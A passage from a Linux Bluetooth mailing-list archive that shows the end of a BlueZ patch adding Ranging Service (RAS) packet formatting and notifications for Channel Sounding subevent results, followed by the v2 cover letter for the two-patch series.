+ const uint8_t *payload;
+ uint8_t plen;
+ bool step_aborted;
+
+ /* Check if step is aborted: bit 7 of step_mode or
+ * 0 payload len
+ */
+ step_aborted = (mode & RAS_STEP_ABORTED_BIT) ||
+ (payload_len == 0);
+
+ DBG(rap, "step[%u]: mode=0x%02x channel=%u payload_len=%u "
+ "aborted=%s", idx, mode, channel, payload_len,
+ step_aborted ? "YES" : "NO");
+
+ /* Slim-step serialization for RAS:
+ * - 1 byte: mode (bit7 set if aborted)
+ * - payload: exactly step_data_length bytes (raw mode data)
+ */
+ mode_byte = step->step_mode;
+ payload = (const uint8_t *)&step->step_mode_data;
+ plen = step->step_data_length;
+
+ if (step_aborted) {
+ /* Ensure abort bit is set */
+ mode_byte |= RAS_STEP_ABORTED_BIT;
+ cs_pd_ras_append_subevent_bytes(proc, &mode_byte, 1);
+ /* No payload when aborted - per RAS spec Table 3.8 */
+ DBG(rap, "step[%u]: mode=0x%02x aborted, "
+ "no payload sent", idx, mode_byte);
+ } else {
+ /* Mode byte first (without abort bit) */
+ cs_pd_ras_append_subevent_bytes(proc, &mode_byte, 1);
+ /* Then the raw payload bytes */
+ cs_pd_ras_append_subevent_bytes(proc, payload, plen);
+ DBG(rap, "step[%u]: mode=0x%02x payload_len=%u sent",
+ idx, mode_byte, (unsigned int)plen);
+ }
+ }
+
+ /* Update status for this chunk */
+ cs_pd_set_local_status(proc,
+ (enum cs_procedure_done_status)proc_done_status);
+ cs_pd_set_remote_status(proc,
+ (enum cs_procedure_done_status)subevt_done_status);
+
+ /* Commit subevent chunk (RESULT or CONT) */
+ cs_pd_ras_commit_subevent(proc,
+ num_steps_reported,
+ proc_done_status,
+ subevt_done_status,
+ abort_reason & 0x0F,
+ (abort_reason >> 4) & 0x0F);
+
+ /* Ensure first segment body starts with the 4-byte RangingHeader */
+ ras_maybe_prepend_ranging_header(proc);
+
+ if (subevt_done_status != SUBEVENT_DONE_PARTIAL_RESULTS)
+ /* Send RAS raw segment data */
+ send_ras_segment_data(rap, proc);
+
+ /* Procedure complete? Clean up */
+ if (proc_done_status == CS_PROC_ALL_RESULTS_COMPLETE) {
+ DBG(rap, "Destroying CsProcedureData counter=%u and "
+ "clearing current_proc", proc->counter);
+ resptracker_reset_current_proc(resptracker);
+ /* Reset cached header values for next procedure */
+ resptracker->last_proc_counter = 0;
+ resptracker->last_start_acl_conn_evt_counter = 0;
+ resptracker->last_freq_comp = 0;
+ resptracker->last_ref_pwr_lvl = 0;
+ }
+}
+
+static void form_ras_data_with_cs_subevent_result(struct bt_rap *rap,
+ const struct rap_ev_cs_subevent_result *data,
+ uint16_t length)
+{
+ size_t base_len = offsetof(struct rap_ev_cs_subevent_result,
+ step_data);
+
+ if (!rap || !rap->resptracker || !data)
+ return;
+
+ /* Defensive check: base header must be present */
+ if (length < base_len)
+ return;
+
+ DBG(rap, "Received CS subevent result subevent: len=%d", length);
+
+ handle_local_subevent_result(rap,
+ true, /* has header fields */
+ data->config_id,
+ data->num_ant_paths,
+ data->proc_counter,
+ data->start_acl_conn_evt_counter,
+ data->freq_comp,
+ data->ref_pwr_lvl,
+ data->proc_done_status,
+ data->subevt_done_status,
+ data->abort_reason,
+ data->num_steps_reported,
+ data->step_data); /* start of steps */
+}
+static void form_ras_data_with_cs_subevent_result_cont(struct bt_rap *rap,
+ const struct rap_ev_cs_subevent_result_cont *cont,
+ uint16_t length)
+{
+ size_t base_len = offsetof(struct rap_ev_cs_subevent_result_cont,
+ step_data);
+ struct cstracker *resptracker;
+
+ if (!rap || !rap->resptracker || !cont)
+ return;
+
+ if (length < base_len)
+ return;
+
+ DBG(rap, "Received CS subevent result continue subevent: len=%d",
+ length);
+
+ resptracker = rap->resptracker;
+
+ /* Use cached header values captured from the last RESULT event */
+ handle_local_subevent_result(rap,
+ false, /* CONT has no header fields */
+ cont->config_id,
+ cont->num_ant_paths,
+ resptracker->last_proc_counter,
+ resptracker->last_start_acl_conn_evt_counter,
+ resptracker->last_freq_comp,
+ resptracker->last_ref_pwr_lvl,
+ cont->proc_done_status,
+ cont->subevt_done_status,
+ cont->abort_reason,
+ cont->num_steps_reported,
+ cont->step_data);
+}
void bt_rap_hci_cs_subevent_result_cont_callback(uint16_t length,
const void *param,
void *user_data)
{
+ const struct rap_ev_cs_subevent_result_cont *cont = param;
struct bt_rap *rap = user_data;
DBG(rap, "Received CS subevent CONT: len=%d", length);
+
+ form_ras_data_with_cs_subevent_result_cont(rap, cont, length);
}
void bt_rap_hci_cs_subevent_result_callback(uint16_t length,
const void *param,
void *user_data)
{
+ const struct rap_ev_cs_subevent_result *data = param;
struct bt_rap *rap = user_data;
DBG(rap, "Received CS subevent: len=%d", length);
+
+ /* Populate CsProcedureData and send RAS payload */
+ form_ras_data_with_cs_subevent_result(rap, data, length);
}
void bt_rap_hci_cs_procedure_enable_complete_callback(uint16_t length,
const void *param,
void *user_data)
{
+ const struct rap_ev_cs_proc_enable_cmplt *data = param;
struct bt_rap *rap = user_data;
+ struct cstracker *resptracker;
DBG(rap, "Received CS procedure enable complete subevent: len=%d",
length);
+
+ if (!rap->resptracker) {
+ resptracker = new0(struct cstracker, 1);
+ cs_tracker_init(resptracker);
+ rap->resptracker = resptracker;
+ }
+
+ resptracker = rap->resptracker;
+
+ /* Populate responder tracker */
+ resptracker->config_id = data->config_id;
+ resptracker->selected_tx_power = data->sel_tx_pwr;
}
void bt_rap_hci_cs_sec_enable_complete_callback(uint16_t length,
@@ -544,9 +1645,26 @@ void bt_rap_hci_cs_config_complete_callback(uint16_t length,
const void *param,
void *user_data)
{
+ const struct rap_ev_cs_config_cmplt *data = param;
struct bt_rap *rap = user_data;
+ struct cstracker *resptracker;
+
+ if (!rap)
+ return;
DBG(rap, "Received CS config complete subevent: len=%d", length);
+
+ if (!rap->resptracker) {
+ resptracker = new0(struct cstracker, 1);
+ cs_tracker_init(resptracker);
+ rap->resptracker = resptracker;
+ }
+
+ resptracker = rap->resptracker;
+
+ /* Basic fields */
+ resptracker->config_id = data->config_id;
+ resptracker->role = data->role;
}
struct bt_rap *bt_rap_new(struct gatt_db *ldb, struct gatt_db *rdb)
@@ -786,7 +1904,7 @@ bool bt_rap_attach(struct bt_rap *rap, struct bt_gatt_client *client)
bt_uuid16_create(&uuid, RAS_UUID16);
- gatt_db_foreach_service(rap->lrapdb->db, &uuid,
+ gatt_db_foreach_service(rap->rrapdb->db, &uuid,
foreach_rap_service, rap);
return true;
--
2.34.1
^ permalink raw reply related
* [PATCH v2 0/2] Add RAS Packet format and Notification support
From: Prathibha Madugonde @ 2026-04-25 7:06 UTC (permalink / raw)
To: linux-bluetooth; +Cc: luiz.dentz, quic_mohamull, quic_hbandi, quic_anubhavg
From: Prathibha Madugonde <prathibha.madugonde@oss.qualcomm.com>
Changes in v2:
Fixed missing declaration in src/shared/rap.c
Patch overview:
1/2 src/shared: Add RAS packet format and sending notifications to client
2/2 uint/test-rap : Add PTS tests for CS reflector
src/shared/rap.c | 1142 +++++++++++++++++++++++++++++++++++++++++++++-
unit/test-rap.c | 264 ++++++++++-
2 files changed, 1390 insertions(+), 16 deletions(-)
--
2.34.1
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox